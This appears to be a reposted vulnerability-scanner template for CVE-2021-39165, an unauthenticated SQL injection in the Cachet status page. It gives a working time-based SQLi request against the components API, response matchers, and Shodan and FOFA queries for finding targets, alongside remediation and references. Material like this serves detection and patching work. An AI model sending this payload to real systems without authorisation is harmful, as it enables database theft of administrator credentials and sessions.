Cachet is an open source status page. With Cachet prior to and including 2.3.18, there is a SQL injection which is in the `SearchableTrait#scopeSearch()`. Attackers without authentication can utilize this vulnerability to exfiltrate sensitive data from the database such as administrator's password and session. The original repository of Cachet <https://github.com/CachetHQ/Cachet> is not active, the stable version 2.3.18 and it's developing 2.4 branch is affected.
PoC代码[已公开]
id: CVE-2021-39165
info:
name: Cachet <=2.3.18 - SQL Injection
author: tess
severity: medium
description: |
Cachet is an open source status page. With Cachet prior to and including 2.3.18, there is a SQL injection which is in the `SearchableTrait#scopeSearch()`. Attackers without authentication can utilize this vulnerability to exfiltrate sensitive data from the database such as administrator's password and session. The original repository of Cachet <https://github.com/CachetHQ/Cachet> is not active, the stable version 2.3.18 and it's developing 2.4 branch is affected.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
remediation: |
Upgrade Cachet to a version higher than 2.3.18 or apply the necessary patches provided by the vendor.
reference:
- https://www.leavesongs.com/PENETRATION/cachet-from-laravel-sqli-to-bug-bounty.html
- https://github.com/fiveai/Cachet/commit/27bca8280419966ba80c6fa283d985ddffa84bb6
- https://github.com/W0rty/CVE-2021-39165/blob/main/exploit.py
- https://nvd.nist.gov/vuln/detail/CVE-2021-39165
- https://github.com/fiveai/Cachet/security/advisories/GHSA-79mg-4w23-4fqc
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
cvss-score: 6.5
cve-id: CVE-2021-39165
cwe-id: CWE-287
epss-score: 0.8938
epss-percentile: 0.99528
cpe: cpe:2.3:a:chachethq:cachet:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: chachethq
product: cachet
shodan-query: http.favicon.hash:-1606065523
fofa-query: icon_hash=-1606065523
tags: time-based-sqli,cve,cve2021,cachet,sqli,chachethq
http:
- raw:
- |
@timeout: 20s
GET /api/v1/components?name=1&1%5B0%5D=&1%5B1%5D=a&1%5B2%5D=&1%5B3%5D=or+'a'='a')%20and%20(select%20sleep(6))-- HTTP/1.1
Host: {{Hostname}}
redirects: true
max-redirects: 2
matchers:
- type: dsl
dsl:
- 'duration>=6'
- 'status_code == 200'
- 'contains(content_type, "application/json")'
- 'contains(body, "pagination") && contains(body, "data")'
condition: and
# digest: 4b0a00483046022100b0ae2bd7d7464f228799c1e345902e8debbedb4910db0ae4486dc3b8c9e10625022100ca59f259d4f1471712f88e42a30188409b7b109bf512df301ed9c3948d250155:922c64590222798bb761d5b6d8e72950